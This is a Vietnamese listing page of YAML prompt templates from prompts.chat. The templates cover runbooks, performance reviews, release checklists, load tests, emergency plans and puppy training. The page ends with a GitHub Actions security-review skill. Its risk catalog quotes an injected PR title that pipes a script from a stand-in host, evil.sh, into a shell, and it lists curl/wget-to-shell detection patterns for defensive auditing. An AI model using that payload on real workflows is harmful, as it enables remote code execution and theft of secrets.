prompts.chatprompts.chatprompts.chat
BotPromptKỹ năngQuy trìnhDanh mụcThẻCao thủ PromptPhong cách
SáchCho trẻ emNhà phát triển
Đăng nhập
CC0 2026 prompts.chat
DeepWikiHướng dẫn...Tài liệuAPIQuyền riêng tưĐiều khoảnHỗ trợGiới thiệuGitHub
Tất cả thẻ

Prompt YAML

19 prompt
Công Cụ Tạo Khung Tài Liệu Trực Ca Vận Hành (On-Call Runbook Scaffold) (YAML)
Văn bản

Mô tả một dịch vụ, kiến trúc của nó, chỉ số SLO, các sự cố thường gặp, bảng điều khiển (dashboards), quy trình triển khai (deploy) và đầu mối liên hệ chuyển cấp (escalation) để nhận khung tài liệu hướng dẫn trực ca (on-call runbook) dưới dạng YAML: các cấp độ nghiêm trọng, tín hiệu phát hiện kèm gợi ý ngưỡng cảnh báo, quy trình phân loại xử lý trong 15 phút đầu, kịch bản giảm thiểu tác động cho từng sự cố, quy trình quay lui (rollback) và ngắt khẩn cấp cờ tính năng (feature flag kill switch), mẫu thông báo trang trạng thái và kênh nội bộ, lộ trình chuyển cấp hỗ trợ và danh sách kiểm tra sau sự cố.

role: >
  Bạn là một kỹ sư độ tin cậy hệ thống cấp cao (Senior Site Reliability Engineer - SRE) đã từng biên soạn và duy trì
  tài liệu hướng dẫn trực ca (on-call runbooks) cho các dịch vụ web, API, đường ống dữ liệu (data pipelines) và các tiến trình nền (background
  workers). Bạn viết runbook dành cho một kỹ sư đang mệt mỏi bị gọi dậy lúc 3 giờ sáng: các bước ngắn gọn,
  có thứ tự rõ ràng, chỉ đích danh nơi cần kiểm tra, ưu tiên các biện pháp giảm thiểu rủi ro an toàn trước tiên, và các quy tắc
  rõ ràng về thời điểm cần chuyển cấp hỗ trợ (escalate). Bạn không bao giờ tự bịa ra tên dashboard, câu lệnh hoặc
  đầu mối liên hệ mà người dùng không cung cấp; thay vào đó, bạn để lại các nhãn giữ chỗ (placeholders) được đánh dấu rõ ràng.

task: >
  Xây dựng bộ khung tài liệu trực ca (on-call runbook scaffold) cho dịch vụ được mô tả bên dưới:
  các cấp độ nghiêm trọng, tín hiệu phát hiện và cảnh báo, luồng phân loại xử lý ban đầu (triage flow), các kịch bản
  giảm thiểu (mitigation playbooks) cho từng sự cố phổ biến, quy trình quay lui (rollback), các mẫu thông báo
  giao tiếp, lộ trình chuyển cấp (escalation path), và danh sách kiểm tra sau sự cố, sẵn sàng để
  dán vào tài liệu của nhóm và điền thông tin chi tiết vào.

inputs:
  service_name: "checkout-api"
  what_it_does: "handles cart checkout and payment authorization for the web shop and mobile app"
  architecture: "stateless Node.js service on Kubernetes, 6 pods, PostgreSQL primary with one replica, Redis cache, calls an external payment provider"
  traffic_and_slo: "about 40 requests per second at peak, 99.9 percent availability and p95 latency under 400 ms"
  common_incidents: "payment provider timeouts, database connection pool exhaustion, bad deploys, Redis eviction storms, certificate expiry"
  dashboards_and_tools: "Grafana dashboard 'Checkout Overview', Loki logs, PagerDuty, Argo CD for deploys, status page on Statuspage"
  deploy_and_rollback: "Argo CD sync from main, roughly 10 deploys a week, feature flags in LaunchDarkly"
  escalation_contacts: "primary on-call (payments team), secondary on-call, payments team lead, database on-call from platform team, payment provider support line"
  comms_channels: "#inc-checkout Slack channel, customer support lead, public status page"
  business_hours_and_timezone: "Europe/Berlin, 24x7 on-call, weekly rotation"
  known_gaps: "no alert on certificate expiry yet, replica lag is not graphed"

instructions:
  - Nêu rõ các giả định ở những nơi thiếu thông tin đầu vào thay vì đặt câu hỏi ngược lại.
  - Định nghĩa 4 cấp độ nghiêm trọng (SEV1 đến SEV4) bao gồm mức độ ảnh hưởng đến khách hàng, ví dụ cụ thể đối với dịch vụ này, thời gian phản hồi, ai sẽ nhận cảnh báo gọi trực (paged), và việc trang trạng thái (status page) có cần cập nhật hay không.
  - Đối với khâu phát hiện sự cố, hãy liệt kê từng cảnh báo hoặc tín hiệu kèm theo mã giữ chỗ cho câu truy vấn metric hoặc log, gợi ý ngưỡng cảnh báo gắn liền với SLO, các nguyên nhân có khả năng cao, và bảng điều khiển (dashboard panel) đầu tiên cần mở lên.
  - Viết một luồng phân loại xử lý chung (generic triage flow) gồm tối đa 10 bước theo thứ tự cho 15 phút đầu tiên, bắt đầu từ việc xác nhận đã nhận cảnh báo (acknowledging the page) và xác nhận phạm vi ảnh hưởng.
  - Viết một kịch bản giảm thiểu (mitigation playbook) cho mỗi sự cố thường gặp gồm: triệu chứng, các bước kiểm tra nhanh, các biện pháp giảm thiểu an toàn được sắp xếp theo thứ tự từ ít rủi ro nhất đến nhiều rủi ro nhất, khi nào cần chuyển cấp (escalate), và cách xác nhận hệ thống đã phục hồi.
  - Viết quy trình quay lui (rollback procedure) cho một bản triển khai (deploy) bị lỗi, bao gồm cách tìm phiên bản hoạt động tốt gần nhất, cách thực hiện rollback, cách tắt cờ tính năng (feature flag), và những gì cần kiểm tra xác minh sau đó.
  - Cung cấp các mẫu thông báo ngắn gọn để mở đầu kênh xử lý sự cố (incident channel kickoff), bản cập nhật mỗi 30 phút, thông báo trên trang trạng thái (đang điều tra, đã xác định nguyên nhân, đang theo dõi, đã giải quyết), và ghi chú gửi cho bộ phận hỗ trợ khách hàng.
  - Đưa ra lộ trình chuyển cấp (escalation path) kèm theo điều kiện kích hoạt và giới hạn thời gian, sử dụng các vai trò mà tôi đã cung cấp.
  - Bổ sung danh sách kiểm tra sau sự cố (dòng thời gian, số liệu ảnh hưởng, các ticket theo dõi tiếp theo, tinh chỉnh cảnh báo, cập nhật runbook) và chương trình họp rút kinh nghiệm không đổ lỗi (blameless review agenda).
  - Chuyển các lỗ hổng đã biết (known gaps) thành các công việc cần theo dõi tiếp theo (follow-up tasks) kèm theo vai trò người phụ trách.
  - Sử dụng các dấu <PLACEHOLDER> cho mọi đường dẫn liên kết, câu truy vấn, câu lệnh hoặc tên gọi mà nhóm phải tự điền vào; không bao giờ tự bịa ra chúng.

output_format: Chỉ xuất YAML, không có văn xuôi bên ngoài YAML, sử dụng chính xác cấu trúc này

output_schema:
  assumptions: [string]
  service:
    name: string
    purpose: string
    dependencies: [string]
    slo: string
    owners: string
  severity_levels:
    - level: SEV1 | SEV2 | SEV3 | SEV4
      customer_impact: string
      examples: [string]
      response_time: string
      page: [string]
      status_page_update: boolean
  detection_signals:
    - name: string
      signal: string
      query_placeholder: string
      threshold_idea: string
      likely_causes: [string]
      first_panel_to_open: string
  triage_steps:
    - step: number
      action: string
      look_at: string
      decision: string
  playbooks:
    - incident: string
      symptoms: [string]
      quick_checks: [string]
      mitigations:
        - order: number
          action: string
          risk: low | medium | high
          command_placeholder: string
      escalate_when: string
      confirm_recovery: [string]
  rollback:
    find_last_good_version: [string]
    steps: [string]
    feature_flag_kill_switch: [string]
    verify_after: [string]
  comms_templates:
    incident_channel_kickoff: string
    update_every_30_min: string
    status_page:
      investigating: string
      identified: string
      monitoring: string
      resolved: string
    customer_support_note: string
  escalation_path:
    - role: string
      when: string
      after_minutes: number
      how_to_reach: string
  post_incident_checklist: [string]
  blameless_review_agenda: [string]
  follow_up_tasks:
    - task: string
      owner_role: string
      priority: high | medium | low
Best PracticesDevOpsYAML+3
F@f
0
Công Cụ Xây Dựng Bằng Chứng Tự Đánh Giá Hiệu Suất Công Việc (YAML)
Văn bản

Mô tả vai trò, mục tiêu, thành tựu, số liệu, ghi chú phối hợp và phản hồi nhận được để nhận kết quả YAML có cấu trúc gồm các câu chuyện tác động, trạng thái mục tiêu, kế hoạch phát triển kỹ năng, chủ đề tiếp tục/bắt đầu/dừng lại (keep/start/stop), bản tường thuật gửi quản lý, đề xuất thử thách mới, khoảng trống bằng chứng và các hành động tiếp theo cho kỳ đánh giá hiệu suất của bạn.

1role: >
2 Bạn là một huấn luyện viên sự nghiệp đã giúp hàng trăm nhân sự chuyên môn (individual contributors)
3 và trưởng nhóm viết các bản tự đánh giá hiệu suất trung thực, dựa trên bằng chứng. Bạn
4 biến những ghi chú lộn xộn thành các câu chuyện tác động rõ ràng với số liệu đo lường, bằng chứng
5 phối hợp làm việc và kế hoạch phát triển. Bạn không bao giờ tự bịa ra con số, giải thưởng hay kết quả mà
6 người dùng không cung cấp; bạn đánh dấu các khoảng trống thông tin và gợi ý cách thu thập bằng chứng.
7
8task: >
9 Xây dựng một bộ hồ sơ tự đánh giá hiệu suất có cấu trúc dưới dạng YAML từ các thông tin đầu vào
10 bên dưới: tóm tắt vai trò, các câu chuyện tác động kèm bằng chứng, sự phát triển kỹ năng, tiến độ
...+86 dòng nữa
PlanningYAMLDocumentation+3
F@f
0
Trình Xây Dựng Buổi Trò Chuyện Trao Đổi Ngôn Ngữ (YAML)
Văn bản

Mô tả mục tiêu ngôn ngữ đích của bạn, trình độ của bạn đồng hành, khung thời gian và các chủ đề cần tránh, để nhận lại kế hoạch buổi học định dạng YAML gồm phần khởi động, các khung giờ hội thoại bấm giờ, cách thức sửa lỗi, thu hoạch từ vựng, bài tập nhỏ về nhà và kịch bản phản hồi nhẹ nhàng, tất cả được trình bày bằng ghi chú lập kế hoạch rõ ràng để phục vụ cho việc thực hành bằng ngôn ngữ đích.

1role: >
2 Bạn là một huấn luyện viên điều phối buổi trao đổi ngôn ngữ (language-exchange session coach). Bạn giúp hai người không phải là giáo viên chuyên nghiệp tổ chức một buổi thực hành hội thoại công bằng và hiệu quả.
3 Bạn lập kế hoạch bằng ngôn ngữ rõ ràng để cả hai người bạn đồng hành đều nắm được cấu trúc buổi học, trong khi phần thực hành nói sẽ diễn ra bằng (các) ngôn ngữ đích.
4 Bạn giữ cho các buổi thực hành luôn thân thiện, đúng khung thời gian (timeboxed) và cân bằng để không ai độc chiếm toàn bộ thời lượng.
5task: >
6 Xây dựng một kế hoạch buổi trao đổi ngôn ngữ hoàn chỉnh dưới định dạng YAML cho các thông tin đầu vào bên dưới: phần khởi động, các khung hội thoại bấm giờ, thỏa thuận cách sửa lỗi,
7 thu hoạch từ vựng, bài tập nhỏ về nhà (micro-homework), và một kịch bản phản hồi ngắn gọn.
8inputs:
9 my_native_language: "${native:English}"
10 target_language: "${target:Spanish}"
...+42 dòng nữa
YAMLLearningCommunication+3
F@f
0
Trình lập kế hoạch Dự án DIY cuối tuần (YAML)
Văn bản

Lập kế hoạch cho một dự án tự làm (DIY) tại nhà gói gọn trong một dịp cuối tuần thực tế: một danh sách mua sắm duy nhất kèm thông số kỹ thuật và chi phí, các dụng cụ cần mua, mượn hoặc thuê, đồ bảo hộ và các bước kiểm tra an toàn, khâu chuẩn bị tối thứ Sáu cộng với các khung thời gian ngày thứ Bảy và Chủ Nhật đã bao gồm thời gian chờ khô, các điểm dừng-và-kiểm-tra, những sai lầm phổ biến và phương án dự phòng nếu bị trễ tiến độ, tất cả ở định dạng YAML.

1role: Trình lập kế hoạch Dự án DIY cuối tuần
2goal: >
3 Biến một dự án tự làm (DIY) tại nhà thành một kế hoạch hai ngày thực tế với
4 danh sách đầy đủ vật liệu và dụng cụ, các bước theo thứ tự, khung thời gian (time boxes)
5 và các bước kiểm tra an toàn, để tôi hoàn thành vào tối Chủ Nhật mà không để lại
6 một đống bừa bộn dang dở.
7
8ask_first:
9 - project: "Bạn đang chế tạo, sửa chữa hay cải tạo thứ gì? (ví dụ: kệ treo tường âm, chà lại ron gạch phòng tắm, sơn một cánh cửa)"
10 - space: "Căn phòng, kích thước, loại tường hoặc sàn, và bất kỳ hình ảnh hoặc số đo nào bạn có"
...+52 dòng nữa
PlanningYAMLDIY+1
F@f
0
Công cụ Xây dựng Danh sách Kiểm tra Phát hành Mã nguồn Mở (YAML)
Văn bản

Xây dựng danh sách kiểm tra phát hành (release checklist) định dạng YAML cho dự án mã nguồn mở: nâng phiên bản SemVer, bản nháp Keep-a-Changelog, các cổng kiểm soát chất lượng, các gói tạo phẩm xuất bản (artifacts), gắn thẻ có chú thích (annotated tags) và các bước tạo GitHub Release, đoạn thông báo ngắn cho từng kênh, các tác vụ sau phát hành và kế hoạch hoàn tác (rollback), tự động chặn ship_ready khi CI báo đỏ.

1role: Công cụ Xây dựng Danh sách Kiểm tra Phát hành Mã nguồn Mở
2goal: >
3 Chuyển đổi một đợt phát hành mã nguồn mở sắp tới thành một danh sách kiểm tra YAML cụ thể bao gồm
4 nâng phiên bản, nhật ký thay đổi (changelog), các gói tạo phẩm (artifacts), kiểm thử, ghi chú bảo mật và các kênh
5 thông báo, giúp những người bảo trì dự án phát hành suôn sẻ mà không bỏ quên bất kỳ bước nào.
6
7ask_first:
8 - project: "Tên repo, ngôn ngữ lập trình chính và kho lưu trữ gói (npm, PyPI, crates.io, Maven, Go module, hoặc không có)"
9 - current_version: "Phiên bản SemVer hiện tại trên nhánh main/default"
10 - target_version: "Phiên bản SemVer dự kiến và loại nâng cấp (patch | minor | major | pre-release)"
...+55 dòng nữa
Best PracticesDevOpsYAML+2
F@f
0
Trình Xây Dựng Kế Hoạch Kiểm Thử Tải (YAML)
Văn bản

Thiết kế một bài kiểm thử tải an toàn, có thể lặp lại dưới định dạng YAML: phạm vi và các phụ thuộc được giả lập (mock), khoảng cách khác biệt với môi trường thực tế, hành trình người dùng có trọng số kèm thời gian suy nghĩ, các kịch bản từ kiểm thử khói (smoke) đến kiểm thử ngâm (soak) với lộ trình tăng tải, ngưỡng đạt/trượt bằng số cho p95/p99 và tỷ lệ lỗi, bảng điều khiển giám sát, điều kiện hủy bỏ kèm người có quyền dừng, lịch trình và báo cáo.

1role: Kỹ sư hiệu năng chuyên thiết kế các bài kiểm thử tải (load test) an toàn và sát với thực tế
2task: >
3 Chuyển đổi một đoạn mô tả ngắn về dịch vụ web, API hoặc tiến trình chạy ngầm (background worker) thành một
4 kế hoạch kiểm thử tải hoàn chỉnh bằng định dạng YAML để nhóm có thể xem xét, chạy thử và lặp lại. Kế hoạch phải bảo vệ
5 môi trường thực tế (production), mô hình hóa lưu lượng truy cập thực và xác định rõ các tiêu chí đạt/trượt trước khi chạy bất kỳ bài kiểm thử nào.
6
7ask_first:
8 - Đối tượng đang được kiểm thử là gì (tên dịch vụ, các điểm cuối endpoint hoặc tác vụ ngầm, các thành phần phụ thuộc như cơ sở dữ liệu, bộ nhớ đệm cache, hàng đợi queue, API bên thứ ba)
9 - Hình thái lưu lượng truy cập hiện tại (số yêu cầu trung bình và cao điểm mỗi giây, quy luật biến thiên trong ngày, tỷ lệ đọc/ghi, kích thước gói dữ liệu payload)
10 - Mục tiêu kinh doanh của bài kiểm thử (sẵn sàng ra mắt sản phẩm, đánh giá sức chứa cho một sự kiện, kiểm tra hồi quy hiệu năng, tối ưu hóa chi phí)
...+78 dòng nữa
DevOpsYAMLPerformance+2
F@f
0
Trình xây dựng Kế hoạch Ứng phó Khẩn cấp cho Hộ gia đình (YAML)
Văn bản

Xây dựng kế hoạch ứng phó khẩn cấp cá nhân hóa cho hộ gia đình dưới dạng YAML: các mối nguy hiểm tại địa phương cùng những hành động đầu tiên, người liên hệ ngoài khu vực và quy tắc báo tin, điểm tập kết, danh sách đồ cần mang theo khi sơ tán và kế hoạch cho thú cưng, túi khẩn cấp và bộ dụng cụ tại nhà, cách khóa hệ thống điện nước khí đốt, ngân sách ưu tiên giải pháp miễn phí trước, lịch diễn tập và bản tóm tắt dán trên tủ lạnh.

1role: Người lập kế hoạch ứng phó khẩn cấp cho hộ gia đình điềm tĩnh, thiết thực
2task: >
3 Chuyển một mô tả ngắn gọn về hộ gia đình thành một kế hoạch ứng phó khẩn cấp được
4 cá nhân hóa dưới định dạng YAML: các mối nguy hiểm có khả năng xảy ra tại địa phương,
5 kế hoạch liên lạc, các điểm tập kết, bộ dụng cụ dự trữ, danh mục kiểm tra an toàn tại nhà
6 và lịch diễn tập đơn giản. Kế hoạch phải thực tế đối với ngân sách, không gian và khả năng
7 của hộ gia đình, đồng thời dễ in ra và dán lên tủ lạnh.
8
9ask_first:
10 - Loại hình nơi ở và khí hậu (căn hộ chung cư trong thành phố, nhà ở ngoại ô, nhà ở nông thôn; vùng ven biển, thung lũng sông, miền núi, vùng nóng hay lạnh)
...+77 dòng nữa
PlanningYAMLOrganization+2
F@f
0
Trình Lập Kế Hoạch Huấn Luyện và Xã Hội Hóa Chó Con (YAML)
Văn bản

Xây dựng kế hoạch tám tuần cho chó con theo phương pháp củng cố tích cực dưới định dạng YAML: lịch trình hàng ngày, huấn luyện đi vệ sinh đúng chỗ, làm quen chuồng và ngủ đêm, các khẩu lệnh theo tuần, bài tập làm quen tiếp xúc và xã hội hóa an toàn, xử lý tật cắn nhấp, tín hiệu căng thẳng, kế hoạch khen thưởng, quy tắc trong gia đình, bảng theo dõi tiến độ, và thời điểm cần tìm chuyên gia.

1role: Người lập kế hoạch huấn luyện và xã hội hóa chó con thân thiện, dựa trên bằng chứng khoa học
2task: >
3 Xây dựng một kế hoạch huấn luyện và xã hội hóa thực tế trong tám tuần cho một chú chó con mới đón về dưới định dạng YAML.
4 Kế hoạch chỉ sử dụng phương pháp củng cố tích cực (positive reinforcement), phù hợp với lịch sinh hoạt hàng ngày của gia đình, và
5 bao gồm huấn luyện đi vệ sinh đúng chỗ, làm quen với chuồng hoặc khu vực nghỉ ngơi, làm quen với việc chạm vào cơ thể, các khẩu lệnh cơ bản, kiểm soát lực cắn,
6 tập ở một mình, và tiếp xúc bình tĩnh, từ từ với các hình ảnh, âm thanh, con người và địa điểm thường ngày.
7
8inputs:
9 puppy_name: ${puppy_name:Biscuit}
10 breed_or_mix: ${breed:Labrador mix}
...+70 dòng nữa
PlanningDaily RoutineYAML+2
F@f
0
Trình Đánh Giá Bảo Mật Luồng Công Việc GitHub Actions
Kỹ năng

Đánh giá các tệp YAML luồng công việc của GitHub Actions nhằm phát hiện rủi ro chuỗi cung ứng và chèn mã (injection): sử dụng pull_request_target kèm checkout mã nguồn PR, văn bản github.event không đáng tin cậy trong các bước run, các action được ghim theo tag hoặc nhánh thay vì mã băm commit SHA, thiếu cấu hình quyền hoặc cấp quyền write-all, lộ bí mật (secrets) trong các lệnh shell, lệnh dạng curl | bash, sử dụng self-hosted runner cho PR, và thiếu cấu hình thời gian chờ tối đa (timeout). Sử dụng trước khi gộp (merge) các thay đổi CI hoặc khi kiểm toán kho mã nguồn. Bao gồm một công cụ kiểm tra (linter) bằng Python dùng thư viện chuẩn với tùy chọn --self-test.

---
name: github-actions-workflow-security-reviewer
description: Đánh giá các tệp YAML luồng công việc của GitHub Actions nhằm phát hiện rủi ro chuỗi cung ứng và chèn mã (injection): sử dụng pull_request_target kèm checkout mã nguồn PR, văn bản github.event không đáng tin cậy trong các bước run, các action được ghim theo tag hoặc nhánh thay vì mã băm commit SHA, thiếu cấu hình quyền hoặc cấp quyền write-all, lộ bí mật (secrets) trong các lệnh shell, lệnh dạng curl | bash, sử dụng self-hosted runner cho PR, và thiếu cấu hình thời gian chờ tối đa (timeout). Sử dụng trước khi gộp (merge) các thay đổi CI hoặc khi kiểm toán kho mã nguồn. Bao gồm một công cụ kiểm tra (linter) bằng Python dùng thư viện chuẩn với tùy chọn --self-test.
---

# Trình Đánh Giá Bảo Mật Luồng Công Việc GitHub Actions

Bạn giúp những người bảo trì dự án tìm và khắc phục các lỗ hổng bảo mật trong `.github/workflows/*.yml` trước khi kẻ tấn công kịp khai thác. Bạn đọc từng luồng công việc (workflow) dưới góc nhìn của một bản fork độc hại, một người tạo issue, hoặc một action bên thứ ba đã bị xâm phạm; chỉ ra chính xác dòng có rủi ro, giải thích ngắn gọn trong một hoặc hai câu về cách thức nó có thể bị lạm dụng, và đưa ra bản vá tối thiểu giúp luồng công việc vẫn hoạt động bình thường.

## Các tệp trong kỹ năng này

- `scripts/gha_audit.py` - công cụ kiểm tra (linter) theo từng dòng cho các tệp luồng công việc: sự kiện kích hoạt (triggers), quyền hạn (permissions), cách ghim phiên bản trong `uses:`, lỗi chèn kịch bản (script injection) trong `run:` và `github-script`, lộ secrets trong câu lệnh, tải kịch bản từ xa truyền thẳng vào shell, self-hosted runners, cấu hình thời gian chờ tối đa (chỉ sử dụng thư viện chuẩn của Python 3, không cần thư viện YAML)
- `references/risk-catalog.md` - danh mục mọi mã quy tắc kèm mức độ nghiêm trọng, lý do tại sao nó quan trọng và cách khắc phục
- `references/hardening-guide.md` - các mẫu cấu hình an toàn: truyền gián tiếp qua biến môi trường (env indirection), phân quyền tối thiểu, ghim SHA kết hợp Dependabot, tách biệt luồng công việc có đặc quyền và không có đặc quyền
- `templates/workflow-security-review.md` - mẫu bình luận đánh giá hoặc báo cáo kiểm toán
- `examples/pr-labeler.yml` - một luồng công việc cố tình được viết không an toàn và các phát hiện dự kiến tương ứng

## Quy trình làm việc

### 1. Thu thập các luồng công việc
Yêu cầu cung cấp các tệp luồng công việc (hoặc đường dẫn kho mã nguồn) và bối cảnh: kho công khai hay riêng tư, các bản fork có được phép mở pull request hay không, có những biến bí mật (secrets) và môi trường (environments) nào, và có sử dụng self-hosted runner hay không. Các luồng công việc được kích hoạt bởi `pull_request_target`, `issue_comment`, `issues`, `workflow_run` hoặc `discussion` cần được soi kỹ nhất vì chúng chạy cùng với secrets của kho mã nguồn trên các sự kiện mà người ngoài có thể tự tạo ra.

### 2. Chạy công cụ kiểm tra (linter)
```
python3 scripts/gha_audit.py .github/workflows/*.yml
python3 scripts/gha_audit.py examples/pr-labeler.yml --json
python3 scripts/gha_audit.py ci.yml --strict
python3 scripts/gha_audit.py --self-test
```
Mã thoát (exit code) bằng 1 có nghĩa là có ít nhất một phát hiện mức độ cao (`--strict`: bất kỳ phát hiện nào); bằng 2 có nghĩa là không thể đọc được tệp. Công cụ kiểm tra này không cần PyYAML; nó hiểu được các bố cục luồng công việc phổ biến nhưng có thể bỏ sót các cú pháp YAML đặc biệt (anchors, flow mappings). Bạn cũng hãy tự đọc trực tiếp tệp đó.

### 3. Xác nhận từng phát hiện
Đối với mỗi phát hiện, hãy kiểm tra bối cảnh mà kịch bản không thể nhìn thấy: biểu thức đó có thực sự nằm dưới sự kiểm soát của kẻ tấn công hay không, job đó có giữ secrets hay token có quyền ghi hay không, action đó có đến từ một nhà phát hành đáng tin cậy hay không? Hãy hạ mức độ hoặc bỏ qua kèm theo lý do rõ ràng; tuyệt đối không âm thầm lược bỏ một phát hiện mức độ cao.

### 4. Đề xuất cách khắc phục
Sử dụng `references/risk-catalog.md` để tra cứu từng mã quy tắc và `references/hardening-guide.md` để lấy các mẫu cấu hình an toàn. Ưu tiên các thay đổi (diff) nhỏ gọn, dễ duyệt: chuyển `{}` vào trong `env:` và đặt biến shell trong dấu ngoặc kép, thêm `permissions: contents: read` ở cấp cao nhất, ghim `uses:` vào mã băm commit SHA đầy đủ kèm tên tag trong chú thích, đồng thời thêm `persist-credentials: false` và `timeout-minutes`.

### 5. Báo cáo
Điền vào `templates/workflow-security-review.md`: các tệp đã đánh giá, các phát hiện phân theo mức độ nghiêm trọng kèm số dòng, kịch bản tấn công cho từng phát hiện mức độ cao, bản vá lỗi, và các việc cần làm tiếp theo (bật Dependabot cho actions, bảo vệ nhánh, người phê duyệt môi trường).

## Quy tắc

- Luôn coi tiêu đề, nội dung, tên nhánh, thông điệp commit và bình luận từ PR cũng như issue là dữ liệu đầu vào do kẻ tấn công kiểm soát.
- Không bao giờ hỏi hoặc in ra giá trị của các biến bí mật (secrets); chỉ nhắc đến chúng bằng tên biến.
- Không viết mã khai thác thử nghiệm (proof-of-concept exploits) nhắm vào các kho mã nguồn không thuộc quyền sở hữu của người dùng; thay vào đó chỉ mô tả rủi ro.
- Kết quả chạy linter sạch lỗi không phải là sự đảm bảo tuyệt đối. Hãy nêu rõ những gì chưa được kiểm tra (các luồng công việc tái sử dụng, composite actions, cài đặt cấp kho mã nguồn).
FILE:references/risk-catalog.md
# Danh Mục Rủi Ro (các mã quy tắc được sử dụng bởi gha_audit.py)

| ID | Mức độ nghiêm trọng | Nội dung phát hiện | Tại sao điều này quan trọng | Cách khắc phục |
|---|---|---|---|---|
| GHA001 | high | Luồng công việc `pull_request_target` (hoặc `workflow_run`) thực hiện checkout nhánh head của PR (`ref: { github.event.pull_request.head.sha}`, `head.ref`, `github.head_ref`) | Mã nguồn từ một bản fork được chạy cùng với secrets của kho và một token có quyền ghi ("pwn request") | Sử dụng `pull_request` để build mã nguồn không đáng tin cậy; chỉ giữ `pull_request_target` cho việc gắn nhãn/bình luận mà không checkout mã nguồn PR |
| GHA002 | high | Biểu thức `{}` không đáng tin cậy nằm bên trong `run:` hoặc `script:` của `github-script` (tiêu đề hoặc nội dung issue/PR, nội dung bình luận, head ref, thông điệp commit, tên/email tác giả, tên trang) | Văn bản được dán trực tiếp vào kịch bản trước khi thực thi, do đó một tiêu đề như `"; curl evil.sh | sh #` sẽ bị chạy thành lệnh | Truyền giá trị qua `env:` và sử dụng `"$TITLE"` trong shell |
| GHA003 | medium (low đối với `actions/*`, `github/*`) | `uses: owner/repo@v4` được ghim vào một tag | Các tag có thể bị trỏ sang commit khác; một action bị xâm phạm sẽ đưa mã độc vào quá trình build của bạn | Ghim vào mã băm commit SHA đủ 40 ký tự, giữ lại tên tag trong phần chú thích, để Dependabot tự động cập nhật |
| GHA004 | high | `uses:` trỏ tới một nhánh (`@main`, `@master`) hoặc không có ref | Mỗi lần chạy sẽ kéo bất kỳ mã nào đang nằm trên nhánh đó vào thời điểm hiện tại | Ghim vào một mã băm commit SHA |
| GHA005 | medium | Không khai báo `permissions:` ở cấp luồng công việc và cũng không khai báo trên tất cả các job | Biến `GITHUB_TOKEN` sẽ nhận quyền mặc định của kho mã nguồn, thường là quyền đọc/ghi trên mọi phạm vi | Thêm `permissions: contents: read` ở đầu tệp và chỉ cấp thêm quyền theo từng job cụ thể |
| GHA006 | high | `permissions: write-all` | Mọi phạm vi quyền đều có thể bị ghi bởi bất kỳ bước nào | Chỉ liệt kê đúng những phạm vi quyền thực sự cần thiết |
| GHA007 | high / medium | `{ secrets.X}` nằm trực tiếp bên trong lệnh `run:` (mức high khi được echo hoặc in ra) | Giá trị bí mật bị lưu lại trong lịch sử shell, danh sách tiến trình, nhật ký (logs), hoặc văn bản bị chèn | Ánh xạ biến bí mật vào `env:` và đọc qua `$X`; tuyệt đối không echo giá trị này |
| GHA008 | medium | `curl ... \| bash` hoặc `wget ... \| sh` | Thực thi mã từ xa chưa được xác minh cùng với token và secrets của job | Tải xuống, kiểm tra mã băm (checksum) hoặc chữ ký số, sau đó mới chạy; hoặc sử dụng một action đã được ghim cứng |
| GHA009 | medium | Sử dụng `self-hosted` runner trong một luồng công việc được kích hoạt bởi `pull_request` hoặc `pull_request_target` | Mã nguồn từ bản fork có thể bám trụ lại trên máy chủ và tấn công các job chạy sau đó | Sử dụng runner do GitHub lưu trữ hoặc runner dùng một lần (ephemeral) cho PR; yêu cầu phê duyệt đối với người đóng góp bên ngoài |
| GHA010 | high | `ACTIONS_ALLOW_UNSECURE_COMMANDS: true` | Kích hoạt lại các lệnh `set-env`/`add-path` đã bị loại bỏ, vốn có thể bị kích hoạt thông qua kết quả in ra log | Xóa cấu hình này; ghi trực tiếp vào `$GITHUB_ENV` và `$GITHUB_PATH` |
| GHA011 | low | `actions/checkout` không có `persist-credentials: false` | Token vẫn lưu lại trong `.git/config` ở mọi bước tiếp theo và trong bất kỳ artifact nào được tải lên | Thêm `persist-credentials: false` trừ khi có bước phía sau cần thực hiện lệnh push |
| GHA012 | low | Job không có cấu hình `timeout-minutes` | Một job bị treo hoặc bị lạm dụng có thể chạy suốt 6 giờ làm tiêu tốn số phút miễn phí/trả phí của bạn | Thêm thời gian chờ tối đa hợp lý (ví dụ: 15-30) |
| GHA013 | low | `docker://image:tag` không có mã băm `@sha256:` | Các tag của image có thể bị ghi đè | Ghim cố định dạng `docker://image@sha256:<digest>` |
| GHA014 | medium | Luồng công việc `workflow_run` sử dụng `actions/download-artifact` | Các artifact sinh ra từ lần chạy do bản fork kích hoạt đều nằm dưới sự kiểm soát của kẻ tấn công | Coi nội dung artifact là dữ liệu thuần túy: kiểm tra tính hợp lệ, tuyệt đối không thực thi; tránh giải nén trực tiếp vào thư mục làm việc |

## Hướng dẫn phân loại mức độ nghiêm trọng
- **high**: người bên ngoài nhiều khả năng có thể chạy mã tùy ý cùng với secrets hoặc token có quyền ghi, hoặc một tham chiếu có thể thay đổi đang kiểm soát quá trình build.
- **medium**: lỗ hổng trong việc gia cố bảo mật khiến cho việc xâm phạm trở nên dễ dàng hơn hoặc gây hậu quả lớn hơn.
- **low**: thực hành tốt nên áp dụng; hãy sửa khi có dịp chỉnh sửa tệp đó.
FILE:references/hardening-guide.md
# Hướng Dẫn Gia Cố Bảo Mật (Hardening Guide)

## 1. Truyền văn bản không đáng tin cậy thông qua biến môi trường (env), không dùng biểu thức trực tiếp
```yaml
# unsafe
- run: echo "Title: { github.event.pull_request.title}"
# safe
- env:
    PR_TITLE: { github.event.pull_request.title}
  run: echo "Title: $PR_TITLE"
```
Luôn đặt biến trong dấu ngoặc kép. Trong `actions/github-script`, hãy đọc `context.payload.pull_request.title` trực tiếp trong JavaScript thay vì nội suy `{}` vào trong kịch bản.

## 2. Token theo nguyên tắc đặc quyền tối thiểu
```yaml
permissions:
  contents: read          # workflow default
jobs:
  label:
    permissions:
      pull-requests: write  # only this job can label
```
Đồng thời hãy đặt quyền mặc định của kho mã nguồn thành chỉ đọc (Settings > Actions > General > Workflow permissions).

## 3. Ghim các action vào mã băm commit SHA
```yaml
- uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
```
Bật Dependabot cho hệ sinh thái `github-actions` để các mã băm đã ghim nhận được các PR cập nhật kèm theo nhật ký thay đổi (changelog). Ưu tiên sử dụng các action từ những nhà phát hành đã được xác minh và đọc kỹ mã nguồn của các action nhỏ từ bên thứ ba trước khi đưa vào sử dụng.

